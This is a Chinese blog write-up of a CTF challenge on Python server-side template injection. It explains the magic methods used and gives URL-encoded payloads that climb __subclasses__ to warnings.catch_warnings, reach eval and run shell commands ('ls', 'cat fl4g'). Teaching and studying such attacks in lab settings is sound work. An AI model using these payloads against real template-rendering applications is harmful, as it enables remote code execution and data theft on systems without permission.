Web安全(Web_python_template_injection)

可以知道题目是template injection题目。

 由此可知,说明存在“SSTI”。关于SSTI即服务端模板注入攻击,服务端接受用户输入,将其作为 Web 应用模板的一部分,渲染编译后执行了恶意内容,导致敏感信息泄露、代码执行等。

常规的魔术方法,如下。可以在博客CTF 中常见 Python 题型 SSTI - 网安有其他问题的介绍。

__class__ #返回type类型,查看对象的类型
__bases__ #返回tuple类型,列出该类的基类
__mro__   #返回tuple类型,给出解析方法调用的顺序
__subclasses__() #返回内建方法builtin_function_or_method,获取一个类的子类
__globals__ #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,

 构建语句"%7B%7B[].__class__.__base__.__subclasses__()%7D%7D"。查看所有的模块。

 os模块都是从warnings.catch_warnings模块入手的,因此我们需要在所有模块中查找catch_warnings的位置。

 在第59个位置,因此构建语句"%7B%7B[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()%7D%7D",查看该模块存在哪些函数,在lineche函数中存在着os模块。

 构建语句查看当前目录,“%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()' )%7D%7D

 flag在fl4g中,直接将上述语句改成“%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22cat fl4g%22).read()' )%7D%7D

 

 

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值